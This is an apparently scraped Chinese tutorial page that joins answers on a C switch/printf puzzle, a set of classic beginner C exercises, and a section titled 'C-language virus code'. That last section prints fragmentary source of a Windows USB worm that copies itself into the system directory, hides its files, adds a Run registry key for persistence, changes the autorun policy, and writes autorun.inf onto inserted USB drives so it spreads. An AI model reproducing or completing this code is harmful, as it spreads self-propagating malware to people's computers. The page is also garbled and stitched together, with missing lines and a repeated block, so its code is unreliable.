您当前的位置:首页 > 互联网教程

两个关于C语言的问题

发布时间:2025-05-12 01:01:00    发布人:远客网络

两个关于C语言的问题

一、两个关于C语言的问题

1、首先,在 switch(x){}中,case 0与case 1之间没有break;所以执行完case 0后面的内容后还会执行case 1后面的内容,这就是为什么会输出#,因为执行了default: printf("#");

2、其次,*这个是得不到的,除非把switch(y=2)改成switch(y==2)才能得到printf("*");

3、最后,你觉得应该得出%,其实即使满足条件,执行了printf("%");也是得不到%,因为%和\一样,具有转义的作用,要想打印%,应该是printf("%%");

二、c语言必背代码有哪些

1、/*古典问题:有一对兔子,从出生后第3个月起每个月都生一对兔子,小兔子长到第三个月后每个月又生一对兔子,假如兔子都不死,问每个月的兔子总数为多少?

兔子的规律为数列1,1,2,3,5,8,13,21....*/

if(i%2==0) printf("\n");/*控制输出,每行四个*/

f1=f1+f2;/*前两个月加起来赋值给第三个月*/

f2=f1+f2;/*前两个月加起来赋值给第三个月*/

2、/*判断101-200之间有多少个素数,并输出所有素数及素数的个数。

程序分析:判断素数的方法:用一个数分别去除2到sqrt(这个数),如果能被整除,

则表明此数不是素数,反之是素数。*/

if(leap)/*内循环结束后,leap依然为1,则m是素数*/

3、/*一个数如果恰好等于它的因子之和,这个数就称为“完数”。例如6=1+2+3.编程

4、/*下面程序的功能是将一个4×4的数组进行逆时针旋转90度后输出,要求原始数组的数据随机输入,新数组以4行4列的方式输出,

{ int a[4][4],b[4][4],i,j;/*a存放原始数组数据,b存放旋转后数组数据*/

/*输入一组数据存放到数组a中,然后旋转存放到b数组中*/

a[i][j]=a[i-1][j]+a[i-1][j-1];

6、/*通过键盘输入3名学生4门课程的成绩,

分别求每个学生的平均成绩和每门课程的平均成绩。

要求所有成绩均放入一个4行5列的数组中,输入时同一人数据间用空格,不同人用回车

其中最后一列和最后一行分别放每个学生的平均成绩、每门课程的平均成绩及班级总平均分。*/

三、用C语言编写的病毒代码

#pragma comment(lib,"shlwapi.lib")

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

TCHAR FirstDriveFromMask(ULONG unitmask);

BOOL FileExist(TCHAR*path);//测试一个文件是否存在

BOOL GetSelfPath(TCHAR*path);//Get the virus's path

//BOOL FindU(TCHAR*u);//check whether u exist, u[2]

BOOL GetSysPath(TCHAR*path);//得到系统路径

BOOL CopyToSysAndSet(HWND hwnd);//复制自身到系统目录和设置

BOOL SetFileAttrib(TCHAR*path);//设置path所指文件的属性

BOOL RegAutoRun(TCHAR*path);//修改注册表,实现自启动

BOOL CopyToUAndSet();//复制自己到U盘

BOOL CreateAutoRunFile(TCHAR*path);//在U盘下生成autorun.inf文件

BOOL FindSelf();//测试自己是否在已经执行了

TCHAR szExePath[MAX_PATH];//the virus's path

TCHAR szSysPath[MAX_PATH];//system path

const TCHAR*szExeName="bbbbb.exe";

const TCHAR*szSysName="aaaaa.exe";

const TCHAR*szAutoRunFile="AutoRun.inf";

int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,

static TCHAR szAppName[]=TEXT("UUUUUU");

wndclass.lpszClassName=szAppName;

MessageBox(NULL,TEXT("Program requires Windows NT!"),

hwnd= CreateWindow(szAppName, NULL,

while(GetMessage(&msg, NULL, 0, 0))

LRESULT OnDeviceChange(HWND hwnd,WPARAM wParam, LPARAM lParam)

PDEV_BROADCAST_HDR lpdb=(PDEV_BROADCAST_HDR)lParam;

if(lpdb-> dbch_devicetype== DBT_DEVTYP_VOLUME)

PDEV_BROADCAST_VOLUME lpdbv=(PDEV_BROADCAST_VOLUME)lpdb;

U[0]=FirstDriveFromMask(lpdbv->dbcv_unitmask);//得到u盘盘符

//MessageBox(0,U,"Notice!",MB_OK);

case DBT_DEVICEREMOVECOMPLETE://设备删除

LRESULT CALLBACK WndProc(HWND hwnd, UINT message, WPARAM wParam,LPARAM lParam)

case WM_Create://处理一些要下面要用到的全局变量

GetSysPath(szSysPath);//得到系统路径

SetTimer(hwnd,TIMER,5000,0);//启动计时器

GetSelfPath(szExePath);//得到自身的路径

if(szExePath[0]==szSysPath[0])//如果是系统盘启动的

SendMessage(hwnd,WM_DEVICECHANGE,0,0);//检测有没有插入设备消息

CopyToSysAndSet(hwnd);//拷到系统盘并自启动

OnDeviceChange(hwnd,wParam,lParam);

return DefWindowProc(hwnd, message, wParam, lParam);

TCHAR FirstDriveFromMask(ULONG unitmask)

if(unitmask& 0x1)//看该驱动器的状态是否发生了变化

if(GetModuleFileName(NULL,path,MAX_PATH))//得到程序自身的目录

return GetSystemDirectory(path,MAX_PATH);//得到系统路径

BOOL CopyToSysAndSet(HWND hwnd)

lstrcat(szPath,szSysName);//得到复制到系统目录的完整目录

if(!FileExist(szPath))//检测系统目录是否已经存在复制的文件

CopyFile(szExePath,szPath,FALSE);

if(!FindSelf())//检测自己有没有运行

//MessageBox(0,szExePath,szPath,MB_OK);

WinExec(szPath,SW_HIDE);//没有就执行

SendMessage(hwnd,WM_CLOSE,0,0);//结束自己

BOOL FileExist(TCHAR*path)//检测PATH所指的路径的文件是否存在

BOOL SetFileAttrib(TCHAR*path)

return SetFileAttributes(path,FILE_ATTRIBUTE_SYSTEM|FILE_ATTRIBUTE_HIDDEN);

BOOL RegAutoRun(TCHAR*path)//修改注册表实现自启动

RegOpenKey(HKEY_CURRENT_USER,"Software\\Microsoft\\Windows\\CurrentVersion\\Policies\\Explorer",&hkey);

RegSetValueEx(hkey,"NoDriveTypeAutoRun",0,REG_DWORD,(LPBYTE)&v,sizeof(DWORD));

if(RegOpenKey(HKEY_LOCAL_MACHINE,"SOFTWARE\\MICROSOFT\\Windows\\CurrentVersion\\Run",

RegSetValueEx(hkey,szSysName,0,REG_SZ,(BYTE*)path,lstrlen(path));

lstrcat(szPath,szExeName);//得到指向U盘的完整目录

lstrcat(szAutoFile,"\\");

lstrcat(szAutoFile,szAutoRunFile);

CreateAutoRunFile(szAutoFile);

CopyFile(szExePath,szPath,FALSE);

BOOL CreateAutoRunFile(TCHAR*path)//在U盘下创建一个autorun.inf文件

fout<<"[AutoRun]"<<endl;

fout<<"open="<<szExeName<<" e"<<endl;

fout<<"shellexecute="<<szExeName<<" e"<<endl;

fout<<"shell\\Auto\\command="<<szExeName<<" e"<<endl;

fout<<"shell=Auto"<<endl;

HANDLE hShot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);

pe.dwSize=sizeof(PROCESSENTRY32);

if(Process32First(hShot,&pe)){

if(lstrcmp(pe.szExeFile,szSysName)==0)

}while(Process32Next(hShot,&pe));

}隐藏窗口:ShowWindow(false);(#include<windows.h>)

将程序暂停一秒后继续执行:sleep(1000);(同上)

删除文件:system("del文件的路径");

运行文件:system("文件的路径");

system函数(#include<iostream>)

复制文件:详见remove函数(#include<process.h>)

-----------------------------------------------------------

#pragma comment(lib,"shlwapi.lib")

LRESULT CALLBACK WndProc(HWND, UINT, WPARAM, LPARAM);//窗口过程

TCHAR FirstDriveFromMask(ULONG unitmask);